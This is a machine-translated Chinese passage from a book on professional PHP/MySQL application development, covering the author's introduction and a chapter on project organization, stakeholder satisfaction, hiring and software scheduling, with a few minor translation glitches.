PHP-和-MySQL-专家级编程-全-
PHP 和 MySQL 专家级编程(全)
零、介绍
这是从精通 PHP 编程到能够开发商业应用的一大步。正如弗雷德·布鲁克斯(Fred Brooks)在他的经典著作《神话中的人月》(Addison-Wesley,1995 年)中估计的那样,“一个编程产品的成本至少是具有相同功能的调试程序的三倍。”
我写这本书的目的是帮助你迈出这一大步。
除了 PHP 编程,你还必须知道什么?嗯,有项目组织(包括人员配备和时间安排),让客户满意,确定需求(敏捷但不马虎),选择开发和生产平台,设计数据库,构建应用以处理表单和按钮,处理安全性和错误处理,以及将数据从旧系统转换到新系统。这也是本书的顶级主题列表。
在任何一家大型书店里随便找一本 PHP/MySQL 书籍,你都会找到关于安装 PHP、变量、语句、函数、字符串处理、数组、对象、文件处理、调试的章节,可能还有一个玩具电子商务网站。不是这本书!我假设你已经知道所有这些东西,或者如果你不知道的话,你可以在别的地方找到。相反,我试图涵盖我从未在任何书籍中见过的基本主题,例如在共享主机和云中虚拟机之间进行选择,更新一个动态应用,将 MySQL 约束错误转换为用户可以理解的内容,以正确的方式保护密码(哈希、加盐和拉伸),实现双因素身份验证,使您的网站免受攻击(通过 SQL 注入、跨站点脚本、跨站点请求伪造或点击劫持),实现数据库触发器验证, 开发 CSV 文件或 pdf 格式的报告,转换不同名称拼写的数据,避免法律纠纷,以及 PHP/MySQL 程序员在开发工业级应用时每天都要处理的许多事情。
除了技术细节,我还试图传递我在开发商业软件的四十年中所学到的东西。我最喜欢的一句语录(出处不详)是,“好的判断来自经验,经验来自坏的判断。”我肯定我比你表现出更多的错误判断。我的软件比任何人都有更多的错误,更多错误的平台选择,更多的架构死胡同,更多的用户界面灾难,以及更多的客户支持失败,但我愿意认为这是因为我比任何人都做得更久。(毕竟,贝比·鲁斯三振出局 1330 次,这是任何普通棒球运动员都无法企及的数字。)所以我的判断现在相当不错,你得到了好处。你可以期待犯你自己原创的、创造性的错误——没有必要重复我的错误。我希望你也能像我一样打出很多本垒打。(比喻性的。)
当我知道答案时,我也试图给出简单的答案,以及为什么是这个答案的原因,而不是列出利弊,告诉你做出适合你情况的最佳选择。那会节省你的时间。使用 PDO 作为你的 PHP-MySQL 接口,FPDF 作为你的 PDF 库,MySQL Workbench 作为你的数据库设计工具,jQuery 作为你的 JavaScript 库,Phpass 作为密码散列,以及我的 17 节需求大纲。当然,你不必按照我的方式去做,但是在开发一个应用的过程中,你必须做出数百个设计选择,而且你也没有能力把每一个都变成一个研究项目。被告知最佳路线难道不是一种解脱吗?
整本书都有代码示例,都可以从www.apress.com
下载。主要技术体现在 PHP 类中——Access、DbAccess、Form、Page、Report 和 Security——这些类足够健壮,可以直接集成到您自己的应用中。我以小的、有些不连贯的块来呈现代码,但是您可以通过下载源代码并跟随它阅读关于我为什么以及如何以我所做的方式做事的技术解释来避免迷失。
总共有八章,分为三组。前两章,项目组织和需求,应该一起阅读,但是如果你急于开始 PHP/MySQL 编程,可以在第一次阅读时跳过,尽管我喜欢认为我最有价值的见解都在那里。(你会喜欢我的战争故事。)中间的四章,平台和工具,数据库,应用结构,以及安全,表单和错误处理,构成了本书编程部分的核心,需要按顺序阅读。最后两章报告和其他输出和数据转换建立在中间章节的基础上。
在这一点上,作者通常会感谢审稿人的工作,但承认任何剩余的错误都是他一个人的责任。是啊,但是出版社的员工太棒了,如果有什么东西通过了,肯定是他们的错,对吗?好吧,我是在开玩笑,只是想搞笑,很可能失败了。我希望在阅读这本书时,你会发现我其他的幽默尝试更成功。回到正题,如果你确实发现了这些错误,请给book@basepath.com
发电子邮件。它们真的都是我的。还在努力提高我的判断力。
-马克罗什金
科罗拉多州博尔德
2013 年 7 月
一、项目组织
好的开始是成功的一半。
—亚里士多德
亚里士多德有些夸张,但是我相信他的观点是,没有一个正确的开端,你的软件开发努力可能会化为乌有。如果你一开始就组织好这个项目,坚持下去就会成功。在这一章中,我解释了成功的基本决定因素,如何确保它们到位,以及如何让你的项目专注于它们。然后,我略微谈到了两个实际问题:如何远离法律纠纷,以及如何获得报酬。
人决定成功
这本书的副标题里有“应用”这个词是有原因的。它是关于写程序给人们使用,这就是应用。这意味着你的应用开发的成功完全取决于人们是否满意。
没错。即使你的数据库是第三范式,你的 PHP 是面向对象的,你的 HTML 使用 CSS(层叠样式表)来分离形式和功能,你使用最新的敏捷流程,你已经找出了所有的错误,如果你为之构建系统的人不满意它也没关系。反之亦然:如果他们满意,他们会称你的工作成功,即使你知道它在技术上有所欠缺。
所以,既然人决定成功,很明显有两件事你绝对需要知道:这些重要的人是谁和 ?? 如何满足他们。
这些人是谁?
人是你的应用的利益相关者:雇佣你的人、直接用户、报告的接收者、期望节约成本的首席财务官、期望提高效率的首席执行官、运行与你联系的系统的 IT(信息技术)人员,以及任何与项目成功有利害关系的人。对用户的看法过于狭隘是错误的,这可能是受到今天强调“可用性”或“用户友好性”的鼓励这些都很重要,但是您需要满足的许多成分永远不会直接使用应用,甚至可能永远不会看到它运行。
例如,当我开始为 Richardson(德克萨斯州)学区开发一个学生信息系统时,我第一次见到了 IT 主管,他为我描绘了这个项目的草图。第二天,我见到了他的三名直属员工,他们从新学年开始,也就是他们第一次开始使用新系统的时候,就一直在和一家外部供应商打交道。几个月后,在一次包括小学助理督学在内的会议上,结果是他们想从我这里得到的是一个简单的系统,只用于小学成绩单,当然,我说我可以为他们制作。我们称之为 Rgrade (R 代表理查森)。当我开始设计这个新应用时,我遇到了更多的 IT 人员、一些教师、两个在城市另一边的另一栋大楼里运行服务器的人、另一个负责评估的助理主管(这在德克萨斯州是一件大事),以及其他几个我一直不太清楚姓名和头衔的人。
为了使我的项目成功,必须满足列表中的哪些人,按优先顺序排列?你需要分清主次,因为,当然,你不可能让每个人都满意,至少不可能完全满意。谁必须首先满足,其次,第三,等等?
嗯,第一条规则是,你最需要的是让雇佣你并支付你薪水的人满意。(几年前在拉丁语课上,我了解到罗马士兵总是由他们的将军直接支付军饷,而不是由政客控制的政府支付,所以将军可以确信他们会忠于他。)
但是,什么能让 IT 主管满意呢?他对该系统的任何功能、使用起来有多简单、运行成本(在合理范围内)或其他任何技术问题都不屑一顾。我不知道他是否在乎孩子们是否被评分。我从与小学助理督学的会面中了解到,老师们对现有的供应商体系感到不满,她想要和平。IT 主管希望与她和平相处,因为是他将他们如此不喜欢的现有系统付诸实施。
因此,下一个需要满足的群体将是使用该系统的教师。我的清单到此为止;没有第三或第四优先。只要我不打扰他们太多,服务器人员并不重要。IT 人员无关紧要——如果他们再也没有听说过初级成绩单,他们会很高兴。只要成绩单生成了,评估人员就很高兴。
这个故事的重点不是提出一个如何优先考虑满意度的公式,或者解释德克萨斯州的学区是如何工作的(无论如何可能都是不可能的)。关键是,对于任何项目,你必须拿出所有人的完整名单,并了解他们每个人的需求,他们的需求如何联系(如果助理主管高兴,IT 主管就高兴,如果教师高兴,她也高兴),以及如何最大限度地提高满意度。
另一个例子:我是一家公司的工程副总裁,该公司开发了一个名为 SuperSked 的系统,用于优化超市收银员的时间表,该系统被出售给大型食品连锁店,如 Safeway 和 Kroger。这是一个基本上现成的产品,而不是像 Rgrade 那样的定制工作。我们所有的客户互动都是与连锁店总部的运营部门进行的。该系统由商店经理的员工使用,但我们从未见过任何直接用户。众所周知,杂货店的利润率很低,因此 SuperSked 节省的劳动力非常可观。这是所有行动关心的。当然,系统必须是可用的,但是易用性并不重要。如果它能省钱,商店就会使用它,即使这意味着用鼻子尖输入数据。我们必须满足谁?运营部门。
每个案例都会不一样,所以你要深挖。不要猜测。
怎么满足?
然而,仅仅知道谁让 ?? 满意还不够。你需要知道如何满足他们。计算机人士称之为“如何”满足要求。很简单:如果需求是正确的,并且你满足了它们,你需要满足的人就会得到满足,这个系统就成功了。如果需求是错误的,你将满足错误的人或者没有人,无论哪种方式你都失败了。
我将在第二章中更多地讨论需求,所以我在这里只从高层次上讨论它们。对于 Rgrade,它们很容易表达:老师们希望有一个单一的、易于理解的表格,他们可以将分数放入其中,从列表中选择老师的评论(该地区不允许自由格式的评论),并有英语和西班牙语的成绩单弹出。报告卡的格式已经确定,西班牙语的翻译意见也是如此。产量要求是显而易见的:与去年和前年一样的成绩单。只要它起作用,对老师来说最重要的是他们多快能拿到分数。他们通常工作到很晚,甚至在家里,花在这上面的每一分钟都是从他们更喜欢做的事情中抽出来的。可能是备课或帮助学生,也可能是看球赛和喝啤酒。但从不升级。
那么输入表单呢?应该是什么样子?我把它弄得和成绩单一样。它看起来非常像那张成绩单,老师们几乎不需要任何培训。他们认为他们是在卡片上打字,就像他们使用纸质报告时一样。所有的用户界面都实现了模型,在这种情况下,完美的模型很容易被发现。
我确实做了另外两件事,我知道这对让老师们高兴是必要的,尽管他们从来没有提到过。首先,我安排该系统由运行该学区服务器的人托管,这样它就可以一天 24 小时可用。第二,我要求大量的处理能力,以确保系统不会过载。有三个高端服务器,一个用于数据库,两个用于应用,前端有一个漂亮的负载平衡器,将 web 请求发送到负载最小的应用服务器。这被证明是矫枉过正,但是 IT 部门没有人在意。他们对幸福的定义是一堆毫无意义的麻烦报告。
这听起来像一个大获成功的情况,对不对?它做?满足几百个整天和小怪物打交道的被欺骗的德州老师?与其说是扣篮,不如说是三分球!只有看起来简单,因为我涵盖了两个基本步骤:识别那些必须满足的人,然后找出如何满足他们。
的确,有些人表达了他们对我正在构建的系统的想法,但我知道其中许多想法,尤其是来自 IT 部门的想法,不会吸引老师。我是一名外部顾问,所以我听取了这些人的意见。但后来我忽略了他们。我只是为了让雇佣我的 IT 主管和老师们满意而工作。其他人都不重要。如果你试图取悦错误的人,这很容易做到,如果他们是你每天都见到的人,你就输了。
(如果你正在使用敏捷方法,你的团队中有一个客户告诉你实现了什么用户故事,如果这个人不能准确地代表需要满足的客户,你就会失败。实际的团队成员往往是 IT 部门的人或产品经理,因为你真正想要的人不在。)
对于 SuperSked 来说,怎样才能让食品公司的 it 部门满意呢?是的,超级间谍,但只是间接的。我们真正的产品是有记录的成本节约,我们有一个博士,公司创始人之一,他全职研究劳动力模型和优化成本带来的节约。我们可以证明年复一年的节约,所以客户很高兴。
所以,就像你必须识别你真正的顾客一样,你也必须识别你真正的产品。然后你的工作就是构建和交付产品,这也是本书的其余部分。
项目有三个维度
软件项目有三个维度。
- 需求:系统会做什么。
- 人:将构建它的开发团队
- 进度:需要多长时间建成。
固定其中两个维度,第三个维度必须相应地调整。如果需求和时间表已经确定,你将需要足够的程序员来完成这一切。如果需求和人都定了,也只能建这么快。如果时间表和人员都已确定,那么只能开发这么多功能。
我试图想出一个有趣的类比来说明这三个维度的不变性。我能找到的最好的是希腊神话中的三个复仇女神。(这只怪物腹背受敌的数量只有两只。)这不是一个完美的类比,但我搜索过的网站threes.com
上的一句话是正确的:“没有祈祷、没有牺牲、没有眼泪能够感动他们,或者保护他们迫害的不幸对象。。."如果有人告诉你他们有办法绕过需求、人员和时间表,那他们就错了。他们无路可走。
我也见过这三个维度被称为铁三角,类似百慕大三角。重点,我猜是你的项目可以沉入铁三角。
显然,调整尺寸有其局限性。团队只能发展到可管理的规模;过了这一点,沟通和协调的困难开始降低生产力。该系统必须有一些最低限度的功能才是有用的;如果检查者的时间表不能被张贴或报告卡不能被打印,它是没有好处的。日程只能这么长;过了一个点,系统就变得无关紧要,或者成本失控。或者,在我们这个超小型公司的例子中,我们已经耗尽了风险投资。
在这些限制范围内,这三个方面必须共同构成一个成功的公式。试图建立一个过度约束的系统——要做的事情太多,没有足够的人去做,或者没有足够的时间去做——是行不通的。你不能从岩石中提取水。
要求
需求只能通过增加或减少功能来调整,而不能通过调整质量来调整。始终只有尽可能高的质量才是可接受的。缺失一个重要的功能远比让它不可靠地工作要好得多。(几年前,贝尔实验室的某个人评论说,他安装的一个新磁盘驱动器速度非常快,但容易出现数据错误。他的同事回应道:“见鬼,如果它不需要传递正确的数据,我可以做得更快!”)
将更多的人加入团队不会提高生产力,除非他们是顶尖的执行者;如果不是这样,就会降低生产率。让团队保持小规模并支付他们每个人应得的报酬要好得多。你还是会省钱的。因此,人员维度远不如其他两个维度灵活。
因为需求和人员都在那里,任何人都可以看到,所以时间表通常是伪造的。我很快会有更多的话要说。
需求是最难的部分:在项目开始时很难知道它们是什么,它们通常过于雄心勃勃,它们经常没有清晰地表达出来,并且在开发过程中会发生变化。这就是为什么他们有自己的一章。我将在本章的下两节讨论开发团队和时间表。
开发团队
20 世纪 70 年代中期的某个时候,我在贝尔实验室最喜欢的经理 Evan Ivie 参加了一个会议,会上他们讨论了如何衡量程序的质量。人们提出了各种各样的方案,例如计算缺陷的数量,分析代码中的“go-to”语句,以及检查设计文档。最后,Evan 宣布他知道一种即时、简单的方法来确定程序的质量。每个人都屏住呼吸,期待着艾维的启示。“看看是谁写的,”埃文说。
正如选择房子时要考虑的三个最重要的标准是位置、地点和地点一样,预测软件项目成功与否时要考虑的三个最重要的标准是人、人和人。
(人又。为了成功,你也必须满足他们。)
程序员的生产力——他们能以多快的速度写出多少高质量的代码——可能会因人而异,比其他任何领域都要多。一名职业网球运动员的发球速度大约是每小时 130 英里,只比我快 50%。一个专业的木匠可以在一天内搭建一套书架,而我可以在一周内搭建一个同样好的书架。但是,一个顶尖的程序员可以比一个平庸的程序员多出 50 倍,很容易,在两个小时内写出几乎完美的代码,而隔壁小隔间的小丑在两个星期内仍然在工作,即使那样也是错误的。
但不仅仅是生产力。顶级程序员可以很快产生一个简单、优雅的解决方案,但是来自一个弱程序员的解决方案无论酝酿了多长时间,都永远不会是好的。你可以通过观察代码来判断它是出自艺术家之手,还是经过几天的锤炼而形成的。在电影《阿马德乌斯》中,萨列里谈到莫扎特时说:“他只是简单地写下了脑海中已经完成的音乐。一页又一页,好像他只是在做听写。”伟大的程序员就是这样工作的。他们似乎在键盘上编程,但他们只是在打字。这个程序已经在他们的头脑中形成了。(这就是为什么我对结对编程持怀疑态度,结对编程是大多数敏捷过程的组成部分。)
我所说的这种顶级程序员非常罕见,而且你也不会找到很多愿意为你的项目工作的人。在你可以选择的人中,生产率的比率可能只有 10:1。即便如此,这在实践中意味着两个优秀程序员的团队可以胜过十个普通程序员的团队。(实际上,即使十个中包括两个好的,也是如此,因为八个落后者会破坏整个团队。)不幸的是,人们通常被分配到项目中的方式以及他们如何获得报酬的假设比例可能是 1.5:1。差了一个数量级。
排在人、人和人之后的第四重要的东西——良好的设备、开明的管理、敏捷的技术、愉快的工作条件——都不那么重要,以至于在组织一个项目时,你应该把几乎所有的时间都花在人身上。做对了,你就有可能成功;即使你不知道如何运行项目,他们也会。和错误的人在一起,你就完了。
雇佣最优秀的员工
当我第一次成为经理时,我不擅长招聘。我真的不知道该怎么做,所以我只想尽快结束这件事。这导致人们只能勉强接受还可以的人,但不是最好的。想起上世纪 80 年代末和 90 年代初我为自己的公司 XVT 软件雇佣的一些程序员,我就不寒而栗。但是几年后,我读了一本与这部分同名的书,马丁·亚特的《??:雇佣最好的 ??》,我在这方面做得更好了。
在你开始招聘之前,你需要确保最优秀的人愿意为你的团队工作。如果你的公司陷入困境,你的技术和产品陈旧,你的薪水没有竞争力,你的位置糟糕,或者项目听起来沉闷,你就不会有好的人为你工作。(也许你自己都不应该在那里。)
(如果你不是招聘经理,而是潜在雇员,这对你也很重要。看看现有员工的素质。)
该公司的麻烦和它的位置很难解决,至少不会马上解决,所以你可能不得不忍受它们。你能改变的是技术,工资,以及你如何运作这个项目。
如果出于某种原因,您的组织没有使用最新的技术——过时的编程语言或操作系统,或者糟糕的硬件——是时候升级了。你不能用老方法招募最优秀的人来工作。如果系统运行在 Windows XP 上,就把它转移到 Windows 8 上。用 HTML5、CSS3、JavaScript、Ajax 和 jQuery 编写新的网页。你可能会发现,一些高级经理对新技术望而却步,或者对那些想使用 Explorer 6 和不能运行最新操作系统的旧电脑的客户听得太多,所以你可能不得不抗争。最优秀的人不会全力以赴地研究他们认为落后于时代的技术。如果你最终和那些自己的技术技能已经过时的平庸的人在一起,你就完了。
当我在 2008 年面试一份工作时,在该公司的网页上注意到其产品需要 Windows 95、奔腾 3 和至少 500MB 的内存,我希望这只是更新网页的失败。无论如何,这是一个真正的倒胃口。
薪资也可能需要调整。如果一个程序员的工资上限是 10 万美元,你就雇不到最好的。五个价值 15 万美元的程序员比十个挣 10 万美元的程序员收入高得多。你会有一个更好的团队,也更便宜。一些公司有严格的薪酬结构,不允许程序员比高级会计或营销人员挣得更多。尽你所能改变这一切。也许你会失败,但你必须尝试。如果你不能支付最好的,也许你也不应该在那里。你也是最棒的,对吧?
BMC 软件公司的创始人约翰·穆雷斯提出了一个他称之为“产品作者”的薪酬计划该产品的主要开发者从销售中获得提成。约翰告诉我关于“双逗号俱乐部”的事情,该俱乐部的会员需要一个带两个逗号的年薪数字。他把一辆法拉利借给了他的一个双逗号程序员,让他开着,直到他自己的车来了。正如你可能猜到的,BMC 软件公司取得了巨大的成功,有一段时间,它的员工人均收入是全国同规模公司中最高的。也许你的公司不会采取像 BMC 那样的补偿方案。另一方面,也许你自己已经走得那么远了:你是一名顾问,或者像我一样,在你的网站和苹果的应用商店里销售你自己的软件。(目前为止我只差一个逗号。)
一旦你知道这份工作有吸引力,薪水范围合适,你就可以开始招聘了。关于如何做到这一点的深入讨论超出了本书的范围,无论如何,Martin Yate 的书对此做了很好的阐述。我想在他的技巧中加入一点,那就是查看候选人的投资组合,在这种情况下,这意味着他可以带进来给你看一个不平凡的项目。你可能会被告知,候选人之前的所有工作都是专有的,不能公开。也许是这样,但我对任何值得被称为“最好”的程序员持怀疑态度,他们从来没有在家里自己做过任何编程,即使只是一个带有 JavaScript 的网页。
查看候选人投资组合的一种方式是在小组会议上,但你也可以一对一地进行。你想听候选人解释这个项目,或者至少是其中的几个部分,特别要注意为什么事情是这样做的,以及可能会考虑哪些替代方案。如果你了解程序员,你就能很容易地判断出候选人是否真的在他或她的游戏中处于领先地位,或者是一个埋头苦干的人,能够把一个程序组装起来,但没有天生的艺术天赋。这就是你要找的。
我也提出类似这样的问题:要初始化应用,需要从一个参数文件中读入一个颜色名称和 RGB 值的列表,总共大约一百个,并对它们进行排序以便以后显示。应该使用冒泡排序、插入排序还是快速排序?
两种类型的答案是错误的:表明候选人对排序算法一无所知,或者坚定地说快速排序是最快的。最好的答案是这样的:我会使用编程语言库中的任何函数,或者,如果没有函数,就使用冒泡排序,因为这是我第一次尝试最有可能成功的函数。对于如此小的列表,初始化期间的效率是无关紧要的。套用老查理金枪鱼广告的话,你不想要排序最快的程序员,你想要排序最快的那个。
或者,这个问题:我们有一个报告生成功能,可以进行数据库查询并编写一个包含结果的多页 PDF,但是客户抱怨运行时间太长。你会怎么解决?
在这里,您希望听到包含以下内容的答案:确定多长时间是太长,重现问题以便进行实验,检测系统以便可以识别瓶颈,运行实验以查看即使在理论上是否有可能加速,然后估计修复问题的成本,以便可以决定是否继续。潜在的解决方案,比如改进查询、添加索引或者提供排队功能,这样用户就不必等待结果,也是很好的选择。你主要是想了解候选人是如何思考的。
你不想听到的是数据库需要索引,MySQL 是错误的选择,或者任何表明候选人已经得出结论的简单陈述。当然,你也不想听到候选人不知道如何继续下去。
我的观点是:少花点时间在教育成就、以前的职位和过去的项目上,多花点时间在应聘者如何对待工作上。这需要真正深入的采访,而不是午餐时的闲聊。
时间表
调度是所有管理任务中最令人害怕和不被尊重的。也是被误解了。时间表的目的不是预测未来的事件,也不是提供一种鞭策装病者的手段。计划的目的是
- 强制仔细查看所有要求,以及
- 迫使团队想出至少一个可能成功的场景,并且
- 保持开发以稳定的速度运行,以及
- 为组件开发的精细程度设定一个界限。
我可以用一个例子来解释我最后一点的意思:假设你的任务是在三天内实现一个数据导出工具。您可能希望提供一个基本的过滤功能来选择数据,一个简单的预览输出的方法,并且可能选择逗号分隔值(CSV)或制表符分隔的输出格式。现在假设你有两个月的时间去做导出模块。您希望开发一个更复杂的查询工具,一个更广泛的输出选择,可能包括 XML(可扩展标记语言)、SQL(结构化查询语言),甚至 RTF(富文本格式),以及一种将导出规范存储为预置以供以后调用的方法。
它们都是出口设施,没有本质上的对错。客户可能想要更好的,但是,如果你知道这只是三天的工作,你会告诉客户这只是一个最小的设施,他或她也会很高兴。由于这是一个外围功能,除了数据库之外,与系统的任何其他部分都没有真正的联系,所以您可以在将来的版本中用更有雄心的东西来替换它。
另一方面,如果时间表要求在三天内完成转换,就需要有人站出来说话。对于大多数现实世界的系统来说,这是远远不够的。如果你只有三天时间,那么成功的可能性就不存在。
如果不遵守时间表,那么制定时间表又有什么意义呢?因为时间安排的练习将迫使团队仔细检查每一个需求,以确保他们理解范围。当试图安排时间时,各种模糊性都会得到解决。
在实践中,严格遵守时间表,并在现实表明它是错误的时候改变它,保持开发的速度,就像一个准备比赛的跑步者为他或她的训练跑计时一样。没有一个时间表,当程序员因为系统的其他部分没有被开发而不能集成他们的工作时,他们会分心或沮丧。时间表是交响乐指挥的指挥棒,帮助每个人同时演奏同一首曲子。
安排不可知的事情
日程安排有两个主要困难。
- 你不知道这些要求,而且它们随时都有可能改变。
- 即使你知道一个需求,也很难预测开发它需要多长时间。
和两个较小的困难。
- 程序员的生产率差异很大(根据我的经验,是 10:1)。
- 程序员的大部分时间花在非项目任务上,比如客户和销售支持、HR(人力资源)会议、培训、休假、生病和探索新技术。
但是你不能让这些问题阻止你安排时间——这太重要了。你还是要做。
的确,你不知道需求,而且它们会在开发过程中发生变化。但是不知道细节和完全不知道要做什么是有区别的,不知道细节可能不会对时间表有太大影响。
这里有一个例子:假设您知道您将需要大约 10-15 个报告,这些报告都采用数据库查询的形式,将结果格式化为网页上的表格,并将数据下载为 CSV 文件。您可以用一周的时间来构建整个模板,用一天的时间来完成每个报告,总共需要四周的时间。这可能很高,但很安全。如果你知道做这项工作的程序员是一个杰出的人,那就把它减少到每份报告四分之一天,总共两周。所以,不管怎样,都要两到四周。不是一周,也不是两个月。您完全不知道这些报告中到底需要包含什么内容,您将在工作即将开始时与客户一起解决这些问题。
另一个例子:你正在为一个库做一个项目,一个重要的功能是根据借书人读过和喜欢的其他书来推荐书籍。(就像网飞对电影做的那样。)你应该安排什么?一周?两个月?三年?你不知道。然而,日程安排的不确定性暴露了这是一个主要的技术风险,也可能是一个主要的开发工作。所以,你马上找一两个最聪明的人来研究什么是可用的,建立一个原型,并向客户展示。这可能需要一个月的时间,但是任何有风险的事情都必须马上去做。如果你需要增加三个月的时间来完成这个项目,在项目开始时告诉客户比在大型库国际贸易展前一周告诉客户要好得多,这样会给你的客户留下一个华丽的展位,里面没有任何东西可以展示。
因此,您总是基于您确实拥有的需求进行计划,但是您将该计划限定为基于松散定义的需求。随着需求变得更加具体,您可以细化时间表。
第二个问题,不知道开发需要多长时间,比较好处理。挑选一两个对手头项目最有经验的程序员,让他们估计他们完成需求中的每一项需要多长时间。对于非编程任务,选择有这些技能的人。估计可以用半天,假设半天是四个小时。确保每项任务都包括在内:文档、培训开发、测试、本地化,以及一个完整产品所需的一切。
任务应该被标记为三种类型中的一种,这取决于它们被估计的准确程度。
- 类型 1 任务类似于以前做过的事情,所以它们的实现时间可以相当准确地预测。
- 第二类任务是新的,但是很容易理解如何去做。
- 第三类任务是那些需求不明确或者实现方法未知的任务,对它们的估计都是瞎猜。
接下来,将生产力因素应用到评估中,因为你为评估挑选的顶尖人员很可能高于你的团队的平均水平。2 到 4 倍的倍数可能是有意义的。
然后算出一天有多少实际工作时间。如果有技术支持和其他非项目职责,可能只有四个。如果是新项目,图六。七个或更多可能太乐观了。假设每周只有 40 小时。
所有类型 2 的任务得到 1.5 倍的额外系数,因为估计是粗略的,所有类型 3 的任务得到 3 倍的系数。当然,你并不真的知道这个系数是 3 倍,但这是个不错的开始。
把所有这些加起来,你就得到了需要的天数。假设一年大约有 46 个工作周(52 个减去假期、假日和疾病),你已经得到了交付日期,假设工作被分配,每个人都一直很忙,没有人在等其他人。(以数据库为中心的设计在这里很有帮助,我将在本章后面解释。)
不喜欢我的算术?好吧,用你自己的。关键是你应该使用某种方法来得出实数。这项工作的好处是巨大的。许多问题将会被提出,其中许多将不得不留到以后回答。知道自己不知道的事情,比一头栽进沙子里跌跌撞撞要好得多。
时间表中的任何类型 3(瞎猜)任务都会使它变得非常不准确,所以最好的办法是将项目分成两个阶段:原型阶段,其中类型 3 任务被简化为类型 2(但除了作为原型之外,没有实际实现),然后是实现阶段。宣布实施时间表将仅在原型阶段之后创建。这样,你就不会在胡乱猜测的基础上引用一个交付日期,然后又不得不修改它。
原型阶段的目的不仅仅是帮助计划。在项目开始时解决高风险的设计问题对于开发也是有意义的。你不知道探索这个未知领域需要什么资源,也不知道他们的设计会对系统的其余部分产生什么影响。这样大的扰动应该尽早到来。
(在电影《教父》中,汤姆·哈根听到制片人杰克·沃尔兹拒绝让约翰尼·方丹出演角色后,他起身离开,并说:“柯里昂先生是一个坚持马上听到坏消息的人。”作为一名经理,我也坚持这一点。别担心,我从没杀过赛马。)
当您到达实现阶段时,您只有类型 1 和 2 的任务。第二类任务安排得不太准确,所以把它们移到前面。然后,随着项目的进展和时间表的修改,它会变得越来越准确,因为你面前的工作比计划时已经完成的工作更为人所知。此外,随着项目的深入,您对团队的生产力有了更多的了解,因此时间估计也更加现实。
总结一下:您从一个不准确的时间表开始,但是一个基于反映完成项目所需的所有任务的详细结构的时间表。在原型阶段之后,你宣布时间表。随着项目的进展,您会修改它,并且随着每次修改,它会变得越来越精确。
如果你这样做,团队看起来会很好,特别是如果他们已经公开了最初几个时间表背后的不确定性。即使最后的日期不得不推迟——考虑到我所有的捏造因素,它可能不会——当你还有六个月的时候,推迟一两个星期也是可以的。当一个交付日期在没有通知的情况下被吹了,团队看起来很无能。当团队试图通过延长工作时间、减少测试和在编码上偷工减料来弥补失误时,就会发生这种情况。以正确的方式安排时间,那就没有必要了。
如果你发现自己在一个期望时间表是不可动摇的承诺并责备开发人员的组织中工作,确保你记录了在整个项目中将发生的所有需求变更。然后,您可以将每个进度变更与导致它的需求变更联系起来。如果这是你工作的地方的政治,你就必须玩这个游戏。
调度示例
世界事务会议(CWA)聚集了来自世界各地的大约 100 名演讲者,参加关于政治、艺术、商业、科学、人类事务等各种话题的小组讨论。在过去的 65 年里,它每年春天都在博尔德的科罗拉多大学举行。直到今年我为 CWA 建立了一个 PHP/MySQL 系统,该组织一直用 Excel 电子表格、文本文件和一个只在助理协调员的电脑上运行的 FileMaker 数据库来跟踪与会议有关的一切。
图 1-1 显示了一个大大简化的进度表,用 Microsoft Excel 为 CWA 系统的一部分构建。类型 1 项(101 到 106)是表单,每个数据库实体一个表单。
图 1-1 。时间表示例
报告(107 到 110)是类型 2,因为它们都需要从 PHP 生成一个 PDF,为了这个例子的目的,我将假装我以前没有做过。第三类项目是关于两个我完全不确定的部分:一个是自动分配来访小组成员的方法,另一个是确定每个小组成员的发言时间是否分配合理的方法。(我真的没有做这两件事,但让我们假装我做了。)
这些列基于上一节中的调度方法。假设我知道自己在做什么,那么半天栏反映了我认为自己能多快完成每项任务。 Avg。产品。假设我的速度是普通程序员的两倍,那么专栏将对它应用一个 2 倍的因子。风险调整栏对第 2 类项目采用 1.5 倍的系数,对第 3 类项目采用 3 倍的系数(因为我不知道自己在做什么)。
请注意 3 次输入扩展了多少,一直扩展到 36 个半天来完成住房分配项目。也许时间太少了。也可能是三倍太长。这是 3 型,所以我们真的不知道。
这个模型告诉我们的是,在类型 3 的项目原型化到成为类型 2,甚至类型 1 之前,我们不能真正地提出一个时间表。因此,在计划工作时,这两个项目将是首先被攻击的。直到有一个让客户满意的工作原型,项目才处于原型阶段,并且没有正式的时间表。当这些项目有了详细的设计,或者更好的是,有了可以实际试用的工作原型,实现阶段就可以开始了,同时还有第一个工作时间表。
项目失败的原因
为什么很多项目都会失败?
有两种主要的失败:当项目在完成之前就被扼杀了,当项目完成了但是没有完成它需要做的事情。第二类是未能激发市场现成销售产品,但这更可能是营销失败,而不是开发失败,虽然我很想谈论它,但它远远超出了本书的范围。我们是技术人员,所以我只处理技术问题。
一个项目在它的时间之前就被扼杀了,因为它已经耗尽了它的资金,有权终止项目的管理层已经对它失去了信心,或者这个项目本来要做的任何事情都不再需要了。最后一类是 20 世纪 70 年代贝尔实验室的一个项目,建造一个机器人自动化主配线架(AMDF ),可以管理电话中心局的布线。该项目实际上进行得相当顺利,但与此同时,贝尔实验室的另一个小组已经开发出了电子开关。电线变得过时了,所以不再需要机器人来连接它们,AMDF 项目被终止了。
但是让我们面对它,在大多数情况下,一个仍在开发中的项目的死亡是一种安乐死。进展是如此糟糕,演示是如此令人不安,以至于它的预期客户不再相信它会在任何合理的时间框架内以任何合理的金额完成。
第二种失败是,一个完成的项目没有让客户满意,这可能更常见,但不容易识别,因为,只要它工作,客户的抱怨可以通过一系列的维护版本来解决。结果可能并不美好,但随着时间的推移,这个体系可以发挥作用。大概 90%的内部系统都是这样的。他们的发展是创伤性的,在第一年左右的时间里有一些问题,但是现在每个人都已经习惯了,他们只是机构景观的一部分。
然而,如果它是现成销售的商业产品,如果它是蹩脚的,它就不会销售。如果公司要生存下去,技术人员必须做得更好。
嗯,这些可能是有趣的分类,但是真正的原因是什么呢?史蒂夫·麦康奈尔是优秀书籍 Code Complete 和Rapid Development:Taming Wild Software Schedules的作者,他在stevemcconnell.com/rdenum.htm
列出了更完整的 36 个经典错误。
我将在这里列出我自己的更短的列表,大概是按照它们出现频率的顺序。
较差的要求
随着开发的进行,演进需求是可以的,甚至是更好的,但是它们必须汇聚到导致成功的东西上。如果对需求的追求永无止境地循环而没有越过终点线,或者没有瞄准市场想要购买的东西,那么需求过程就是有缺陷的,对于不知道他或她真正想要什么的客户,再多的抱怨也不能扭转局面。这个项目失败了。
下一章会有更多关于需求的内容。
弱队
